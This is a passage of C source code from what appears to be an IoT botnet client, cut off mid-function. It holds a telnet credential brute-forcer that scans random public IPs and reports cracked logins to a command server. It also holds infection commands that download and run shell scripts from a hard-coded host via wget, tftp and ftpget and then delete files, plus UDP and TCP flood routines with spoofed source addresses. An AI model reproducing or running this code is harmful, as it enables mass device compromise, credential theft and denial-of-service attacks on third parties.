  940. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  941. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  942. (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  943. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  944. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  945. (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  946. (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  947. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  948. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  949. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  950. (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  951. (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  952. (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  953. (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  954. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  955. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  956. (ipState[0] == 208 && ipState[1] == 67) ||
  957. (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  958. (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  959. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  960. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  961. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  962. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  963. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  964. (ipState[0] >= 224)
  965. )
  966. {
  967. ipState[0] = rand() % 255;
  968. ipState[1] = rand() % 255;
  969. ipState[2] = rand() % 255;
  970. ipState[3] = rand() % 255;
  971. }
  972.  
  973. char ip[16] = {0};
  974. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  975. return inet_addr(ip);
  976. }
  977.  
  978. in_addr_t getRandomPublicIP2()
  979. {
  980. int range = rand() % (sizeof(oldranges)/sizeof(char *));
  981. ipState[0] = oldranges[range];
  982. ipState[1] = oldranges2[range];
  983. ipState[2] = rand() % 255;
  984. ipState[3] = rand() % 255;
  985. char ip[16] = {0};
  986. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  987. return inet_addr(ip);
  988. }
  989.  
  990. in_addr_t getRandomPublicIPA()
  991. {
  992. int range = rand() % (sizeof(rangesA)/sizeof(char *));
  993. ipState[0] = rangesA[range];
  994. ipState[1] = rand() % 255;
  995. ipState[2] = rand() % 255;
  996. ipState[3] = rand() % 255;
  997. char ip[16] = {0};
  998. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  999. return inet_addr(ip);
  1000. }
  1001.  
  1002. in_addr_t getRandomPublicIPB()
  1003. {
  1004. int range = rand() % (sizeof(rangesB1)/sizeof(char *));
  1005. ipState[0] = rangesB1[range];
  1006. ipState[1] = rangesB2[range];
  1007. ipState[2] = rand() % 255;
  1008. ipState[3] = rand() % 255;
  1009. char ip[16] = {0};
  1010. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1011. return inet_addr(ip);
  1012. }
  1013.  
  1014. in_addr_t getRandomPublicIPC()
  1015. {
  1016. int range = rand() % (sizeof(rangesC1)/sizeof(char *));
  1017. ipState[0] = rangesC1[range];
  1018. ipState[1] = rangesC2[range];
  1019. ipState[2] = rangesC3[range];
  1020. ipState[3] = rand() % 255;
  1021. char ip[16] = {0};
  1022. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1023. return inet_addr(ip);
  1024. }
  1025.  
  1026.  
  1027. in_addr_t findARandomIP()
  1028. {
  1029. if(rangechoice < 1 || rangechoice > 5){
  1030. return getRandomPublicIP();
  1031. }else{
  1032. if(rangechoice == 1){
  1033. return getRandomPublicIP2();
  1034. }else if(rangechoice == 2){
  1035. return getRandomPublicIPA();
  1036. }else if(rangechoice == 3){
  1037. return getRandomPublicIPB();
  1038. }else if(rangechoice == 4){
  1039. return getRandomPublicIPC();
  1040. }else{
  1041. return getRandomPublicIP();
  1042. }
  1043. }
  1044. }
  1045.  
  1046.  
  1047.  
  1048. in_addr_t getRandomIP(in_addr_t netmask)
  1049. {
  1050. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1051. return tmp ^ ( rand_cmwc() & ~netmask);
  1052. }
  1053.  
  1054. unsigned short csum (unsigned short *buf, int count)
  1055. {
  1056. register uint64_t sum = 0;
  1057. while( count > 1 ) { sum += *buf++; count -= 2; }
  1058. if(count > 0) { sum += *(unsigned char *)buf; }
  1059. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1060. return (uint16_t)(~sum);
  1061. }
  1062.  
  1063. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1064. {
  1065.  
  1066. struct tcp_pseudo
  1067. {
  1068. unsigned long src_addr;
  1069. unsigned long dst_addr;
  1070. unsigned char zero;
  1071. unsigned char proto;
  1072. unsigned short length;
  1073. } pseudohead;
  1074. unsigned short total_len = iph->tot_len;
  1075. pseudohead.src_addr=iph->saddr;
  1076. pseudohead.dst_addr=iph->daddr;
  1077. pseudohead.zero=0;
  1078. pseudohead.proto=IPPROTO_TCP;
  1079. pseudohead.length=htons(sizeof(struct tcphdr));
  1080. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1081. unsigned short *tcp = malloc(totaltcp_len);
  1082. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1083. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1084. unsigned short output = csum(tcp,totaltcp_len);
  1085. free(tcp);
  1086. return output;
  1087. }
  1088.  
  1089. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1090. {
  1091. iph->ihl = 5;
  1092. iph->version = 4;
  1093. iph->tos = 0;
  1094. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1095. iph->id = rand_cmwc();
  1096. iph->frag_off = 0;
  1097. iph->ttl = MAXTTL;
  1098. iph->protocol = protocol;
  1099. iph->check = 0;
  1100. iph->saddr = source;
  1101. iph->daddr = dest;
  1102. }
  1103.  
  1104. int sclose(int fd)
  1105. {
  1106. if(3 > fd) return 1;
  1107. close(fd);
  1108. return 0;
  1109. }
  1110. int socket_connect(char *host, in_port_t port){
  1111. struct hostent *hp;
  1112. struct sockaddr_in addr;
  1113. int on = 1, sock;
  1114.  
  1115. if((hp = gethostbyname(host)) == NULL){
  1116. herror("gethostbyname");
  1117. exit(1);
  1118. }
  1119. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1120. addr.sin_port = htons(port);
  1121. addr.sin_family = AF_INET;
  1122. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1123. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1124.  
  1125. if(sock == -1){
  1126. perror("setsockopt");
  1127. exit(1);
  1128. }
  1129.  
  1130. if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  1131. perror("connect");
  1132. exit(1);
  1133.  
  1134. }
  1135. return sock;
  1136. }
  1137.  
  1138. void ZeroEchoLoader()
  1139. {
  1140. char buffer[BUFFER_SIZE];
  1141. int fd;
  1142. fd = socket_connect("89.34.99.131", 80);
  1143. write(fd, "GET bins.sh\r\n", strlen("GET bins.sh\r\n")); //write(fd, char[]*, len);
  1144. bzero(buffer, BUFFER_SIZE);
  1145.  
  1146. while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
  1147. FILE *f;
  1148. f = fopen("x", "a");
  1149. fprintf(f, "%s", buffer);
  1150. fclose(f);
  1151. bzero(buffer, BUFFER_SIZE);
  1152. }
  1153.  
  1154. shutdown(fd, SHUT_RDWR);
  1155. close(fd);
  1156. }
  1157.  
  1158. void StartTheLelz(int wait_usec, int maxfds)
  1159. {
  1160. int i, res, num_tmps, j;
  1161. char buf[128], cur_dir;
  1162.  
  1163. int max = maxfds;
  1164. fd_set fdset;
  1165. struct timeval tv;
  1166. socklen_t lon;
  1167. int valopt;
  1168.  
  1169. srand(time(NULL) ^ rand_cmwc());
  1170.  
  1171. char line[256];
  1172. char* buffer;
  1173. struct sockaddr_in dest_addr;
  1174. dest_addr.sin_family = AF_INET;
  1175. dest_addr.sin_port = htons(23);
  1176. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1177.  
  1178. buffer = malloc(BUFFER_SIZE + 1);
  1179. memset(buffer, 0, BUFFER_SIZE + 1);
  1180.  
  1181. struct telstate_t fds[max];
  1182.  
  1183.  
  1184. memset(fds, 0, max * (sizeof(int) + 1));
  1185. for(i = 0; i < max; i++)
  1186. {
  1187. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1188. fds[i].complete = 1;
  1189. fds[i].sockbuf = buffer;
  1190. }
  1191. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1192.  
  1193.  
  1194.  
  1195. while(1)
  1196. {
  1197. for(i = 0; i < max; i++)
  1198. {
  1199. if(fds[i].totalTimeout == 0)
  1200. {
  1201. fds[i].totalTimeout = time(NULL);
  1202. }
  1203.  
  1204. switch(fds[i].state)
  1205. {
  1206. case 0:
  1207. {
  1208. if(fds[i].complete == 1)
  1209. {
  1210. // clear the current fd
  1211. char *tmp = fds[i].sockbuf;
  1212. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1213. fds[i].sockbuf = tmp;
  1214. // get a new random ip
  1215. fds[i].ip = findARandomIP();
  1216. }
  1217. else if(fds[i].complete == 0)
  1218. {
  1219. fds[i].passwordInd++;
  1220. fds[i].usernameInd++;
  1221.  
  1222. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  1223. {
  1224. fds[i].complete = 1;
  1225. continue;
  1226. }
  1227. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  1228. {
  1229. fds[i].complete = 1;
  1230. continue;
  1231. }
  1232. }
  1233.  
  1234. dest_addr.sin_family = AF_INET;
  1235. dest_addr.sin_port = htons(23);
  1236. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1237. dest_addr.sin_addr.s_addr = fds[i].ip;
  1238.  
  1239. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1240.  
  1241. if(fds[i].fd == -1) continue;
  1242.  
  1243. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1244.  
  1245. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1246. {
  1247. reset_telstate(&fds[i]);
  1248. }
  1249. else
  1250. {
  1251. advance_state(&fds[i], 1);
  1252. }
  1253. }
  1254. break;
  1255.  
  1256. case 1:
  1257. {
  1258. FD_ZERO(&fdset);
  1259. FD_SET(fds[i].fd, &fdset);
  1260. tv.tv_sec = 0;
  1261. tv.tv_usec = wait_usec;
  1262. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1263.  
  1264. if(res == 1)
  1265. {
  1266. lon = sizeof(int);
  1267. valopt = 0;
  1268. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1269. printf("%d\n",valopt);
  1270. if(valopt)
  1271. {
  1272. reset_telstate(&fds[i]);
  1273. }
  1274. else
  1275. {
  1276. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1277. advance_state(&fds[i], 2);
  1278. }
  1279. continue;
  1280. }
  1281. else if(res == -1)
  1282. {
  1283. reset_telstate(&fds[i]);
  1284. continue;
  1285. }
  1286.  
  1287. if(fds[i].totalTimeout + 6 < time(NULL))
  1288. {
  1289. reset_telstate(&fds[i]);
  1290. }
  1291. }
  1292. break;
  1293.  
  1294. case 2:
  1295. {
  1296. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1297. {
  1298. if(contains_fail(fds[i].sockbuf))
  1299. {
  1300. advance_state(&fds[i], 0);
  1301. }
  1302. else
  1303. {
  1304. advance_state(&fds[i], 3);
  1305. }
  1306.  
  1307. continue;
  1308. }
  1309.  
  1310. if(fds[i].totalTimeout + 6 < time(NULL))
  1311. {
  1312. reset_telstate(&fds[i]);
  1313. }
  1314. }
  1315. break;
  1316.  
  1317. case 3:
  1318. {
  1319. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1320. {
  1321. reset_telstate(&fds[i]);
  1322. continue;
  1323. }
  1324.  
  1325. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1326. {
  1327. reset_telstate(&fds[i]);
  1328. continue;
  1329. }
  1330.  
  1331. advance_state(&fds[i], 4);
  1332. }
  1333. break;
  1334.  
  1335. case 4:
  1336. {
  1337. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1338. {
  1339. if(contains_fail(fds[i].sockbuf))
  1340. {
  1341. advance_state(&fds[i], 0);
  1342. }
  1343. else
  1344. {
  1345. advance_state(&fds[i], 5);
  1346. }
  1347. continue;
  1348. }
  1349.  
  1350. if(fds[i].totalTimeout + 6 < time(NULL))
  1351. {
  1352. reset_telstate(&fds[i]);
  1353. }
  1354. }
  1355. break;
  1356.  
  1357. case 5:
  1358. {
  1359. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1360. {
  1361. reset_telstate(&fds[i]);
  1362. continue;
  1363. }
  1364.  
  1365. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1366. {
  1367. reset_telstate(&fds[i]);
  1368. continue;
  1369. }
  1370.  
  1371. advance_state(&fds[i], 6);
  1372. }
  1373. break;
  1374.  
  1375. case 6:
  1376. {
  1377. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  1378. {
  1379. fds[i].totalTimeout = time(NULL);
  1380.  
  1381. if(contains_fail(fds[i].sockbuf))
  1382. {
  1383. advance_state(&fds[i], 0);
  1384. }
  1385. else if(contains_success(fds[i].sockbuf))
  1386. {
  1387. if(fds[i].complete == 2)
  1388. {
  1389. advance_state(&fds[i], 7);
  1390. }
  1391. else
  1392. {
  1393. sockprintf(mainCommSock, "ATTEMPTING TO INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1394. advance_state(&fds[i], 7);
  1395. }
  1396. }
  1397. else
  1398. {
  1399. reset_telstate(&fds[i]);
  1400. }
  1401. continue;
  1402. }
  1403.  
  1404.  
  1405. if(fds[i].totalTimeout + 7 < time(NULL))
  1406. {
  1407. reset_telstate(&fds[i]);
  1408. }
  1409. }
  1410. break;
  1411.  
  1412. case 7:
  1413. {
  1414. fds[i].totalTimeout = time(NULL);
  1415. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  1416. if(send(fds[i].fd, infect2, strlen(infect2), MSG_NOSIGNAL) < 0)
  1417. {
  1418. sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1419. reset_telstate(&fds[i]);
  1420. continue;
  1421. }
  1422. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, infected))
  1423. {
  1424. if(strcasestr(fds[i].sockbuf, infectedmessage) && fds[i].complete != 3)
  1425. {
  1426. sockprintf(mainCommSock, "SUCCESFULLY INFECTED - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1427. sockprintf(mainCommSock, "SUCCESFULLY SECURED - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1428. fds[i].complete = 3;
  1429. }
  1430. }
  1431. if(fds[i].totalTimeout + 25 < time(NULL))
  1432. {
  1433. if(fds[i].complete !=3){
  1434. sockprintf(mainCommSock, "COULDN'T INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1435. }
  1436. reset_telstate(&fds[i]);
  1437. }
  1438. break;
  1439. }
  1440. case 10:
  1441. {
  1442. ZeroEchoLoader();
  1443. send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL); // sending shell command 3 times to assure execution.
  1444. fds[i].state = 11;
  1445. }
  1446.  
  1447. case 11:
  1448. {
  1449. if(send(fds[i].fd, "/bin/busybox;echo -e 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.34.99.131/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.34.99.131 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.34.99.131; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.34.99.131 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1450. fds[i].state = 12;
  1451. break;
  1452. }
  1453. case 12:
  1454. {
  1455. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1456. if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1457. {
  1458. fds[i].totalTimeout = 0;
  1459. fds[i].bufUsed = 0;
  1460. ZeroEchoLoader();
  1461. send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL);
  1462. sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1463. continue;
  1464.  
  1465. }
  1466. else if(readUntil(fds[i].fd, "Zero", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1467. {
  1468. fds[i].totalTimeout = 0;
  1469. fds[i].bufUsed = 0;
  1470. ZeroEchoLoader();
  1471. send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL);
  1472. sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1473. memset(fds[i].sockbuf, 0, 1024);
  1474. sclose(fds[i].fd);
  1475. fds[i].complete = 1;
  1476. fds[i].state = 0;
  1477. continue;
  1478. }
  1479. else {
  1480. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1481. }
  1482.  
  1483. if(fds[i].totalTimeout + 15 < time(NULL))
  1484. {
  1485. sclose(fds[i].fd);
  1486. fds[i].state = 0;
  1487. fds[i].complete = 1;
  1488. }
  1489. break;
  1490. }
  1491. }
  1492. }
  1493. }
  1494. }
  1495.  
  1496. void sendSTD(unsigned char *ip, int port, int secs) {
  1497.  
  1498. int iSTD_Sock;
  1499.  
  1500. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1501.  
  1502. time_t start = time(NULL);
  1503.  
  1504. struct sockaddr_in sin;
  1505.  
  1506. struct hostent *hp;
  1507.  
  1508. hp = gethostbyname(ip);
  1509.  
  1510. bzero((char*) &sin,sizeof(sin));
  1511. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1512. sin.sin_family = hp->h_addrtype;
  1513. sin.sin_port = port;
  1514.  
  1515. unsigned int a = 0;
  1516.  
  1517. while(1){
  1518. if (a >= 50)
  1519. {
  1520. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1521. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1522. if (time(NULL) >= start + secs)
  1523. {
  1524. close(iSTD_Sock);
  1525. _exit(0);
  1526. }
  1527. a = 0;
  1528. }
  1529. a++;
  1530. }
  1531.  
  1532.  
  1533. }
  1534.  
  1535. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1536. {
  1537. struct sockaddr_in dest_addr;
  1538.  
  1539. dest_addr.sin_family = AF_INET;
  1540. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1541. else dest_addr.sin_port = htons(port);
  1542. if(getHost(target, &dest_addr.sin_addr)) return;
  1543. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1544.  
  1545. register unsigned int pollRegister;
  1546. pollRegister = pollinterval;
  1547.  
  1548. if(spoofit == 32)
  1549. {
  1550. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1551. if(!sockfd)
  1552. {
  1553. sockprintf(mainCommSock, "Failed opening raw socket.");
  1554. return;
  1555. }
  1556.  
  1557. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1558. if(buf == NULL) return;
  1559. memset(buf, 0, packetsize + 1);
  1560. makeRandomStr(buf, packetsize);
  1561.  
  1562. int end = time(NULL) + timeEnd;
  1563. register unsigned int i = 0;
  1564. register unsigned int ii = 0;
  1565. while(1)
  1566. {
  1567. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1568.  
  1569. if(i == pollRegister)
  1570. {
  1571. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1572. if(time(NULL) > end) break;
  1573. i = 0;
  1574. continue;
  1575. }
  1576. i++;
  1577. if(ii == sleepcheck)
  1578. {
  1579. usleep(sleeptime*1000);
  1580. ii = 0;
  1581. continue;
  1582. }
  1583. ii++;
  1584. }
  1585. } else {
  1586. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1587. if(!sockfd)
  1588. {
  1589. sockprintf(mainCommSock, "Failed opening raw socket.");
  1590. return;
  1591. }
  1592.  
  1593. int tmp = 1;
  1594. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1595. {
  1596. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1597. return;
  1598. }
  1599.  
  1600. int counter = 50;
  1601. while(counter--)
  1602. {
  1603. srand(time(NULL) ^ rand_cmwc());
  1604. init_rand(rand());
  1605. }
  1606.  
  1607. in_addr_t netmask;
  1608.  
  1609. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1610. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1611.  
  1612. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1613. struct iphdr *iph = (struct iphdr *)packet;
  1614. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1615.  
  1616. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1617.  
  1618. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1619. udph->source = rand_cmwc();
  1620. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1621. udph->check = 0;
  1622.  
  1623. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1624.  
  1625. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1626.  
  1627. int end = time(NULL) + timeEnd;
  1628. register unsigned int i = 0;
  1629. register unsigned int ii = 0;
  1630. while(1)
  1631. {
  1632. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1633.  
  1634. udph->source = rand_cmwc();
  1635. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1636. iph->id = rand_cmwc();
  1637. iph->saddr = htonl( getRandomIP(netmask) );
  1638. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1639.  
  1640. if(i == pollRegister)
  1641. {
  1642. if(time(NULL) > end) break;
  1643. i = 0;
  1644. continue;
  1645. }
  1646. i++;
  1647.  
  1648. if(ii == sleepcheck)
  1649. {
  1650. usleep(sleeptime*1000);
  1651. ii = 0;
  1652. continue;
  1653. }
  1654. ii++;
  1655. }
  1656. }
  1657. }
  1658.  
  1659. void spoofTest(unsigned char *target, int port)
  1660. {
  1661. struct sockaddr_in dest_addr;
  1662.  
  1663. dest_addr.sin_family = AF_INET;
  1664. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1665. else dest_addr.sin_port = htons(port);
  1666. if(getHost(target, &dest_addr.sin_addr)) return;
  1667. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1668.  
  1669.  
  1670. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1671. if(!sockfd)
  1672. {
  1673. sockprintf(mainCommSock, "Failed opening raw socket.");
  1674. return;
  1675. }
  1676.  
  1677. int tmp = 1;
  1678. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1679. {
  1680. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1681. return;
  1682. }
  1683.  
  1684. int counter = 50;
  1685. while(counter--)
  1686. {
  1687. srand(time(NULL) ^ rand_cmwc());
  1688. init_rand(rand());
  1689. }
  1690.  
  1691. in_addr_t netmask;
  1692.  
  1693. netmask = ( ~((in_addr_t) -1) );
  1694.  
  1695. char *test = "";
  1696. szprintf(test,"%s",inet_ntoa(ourPublicIP));
  1697.  
  1698. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(test)];
  1699. struct iphdr *iph = (struct iphdr *)packet;
  1700. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1701.  
  1702. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + strlen(test));
  1703.  
  1704. udph->len = htons(sizeof(struct udphdr) + strlen(test));
  1705. udph->source = rand_cmwc();
  1706. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1707. udph->check = 0;
  1708.  
  1709. szprintf((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), "%s", test);
  1710.  
  1711. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1712.  
  1713. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1714. }
  1715.  
  1716. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1717. {
  1718. register unsigned int pollRegister;
  1719. pollRegister = pollinterval;
  1720.  
  1721. struct sockaddr_in dest_addr;
  1722.  
  1723. dest_addr.sin_family = AF_INET;
  1724. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1725. else dest_addr.sin_port = htons(port);
  1726. if(getHost(target, &dest_addr.sin_addr)) return;
  1727. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1728.  
  1729. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1730. if(!sockfd)
  1731. {
  1732. sockprintf(mainCommSock, "Failed opening raw socket.");
  1733. return;
  1734. }
  1735.  
  1736. int tmp = 1;
  1737. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1738. {
  1739. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1740. return;
  1741. }
  1742.  
  1743. in_addr_t netmask;
  1744.  
  1745. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1746. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1747.  
  1748. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1749. struct iphdr *iph = (struct iphdr *)packet;
  1750. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1751.  
  1752. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1753.  
  1754. tcph->source = rand_cmwc();
  1755. tcph->seq = rand_cmwc();
  1756. tcph->ack_seq = 0;
  1757. tcph->doff = 5;
  1758.  
  1759. if(!strcmp(flags, "all"))
  1760. {
  1761. tcph->syn = 1;
  1762. tcph->rst = 1;
  1763. tcph->fin = 1;
  1764. tcph->ack = 1;
  1765. tcph->psh = 1;
  1766. } else {
  1767. unsigned char *pch = strtok(flags, ",");
  1768. while(pch)
  1769. {
  1770. if(!strcmp(pch, "syn"))
  1771. {
  1772. tcph->syn = 1;
  1773. } else if(!strcmp(pch, "rst"))
  1774. {
  1775. tcph->rst = 1;
  1776. } else if(!strcmp(pch, "fin"))
  1777. {
  1778. tcph->fin = 1;
  1779. } else if(!strcmp(pch, "ack"))
  1780. {
  1781. tcph->ack = 1;
  1782. } else if(!strcmp(pch, "psh"))
  1783. {
  1784. tcph->psh = 1;
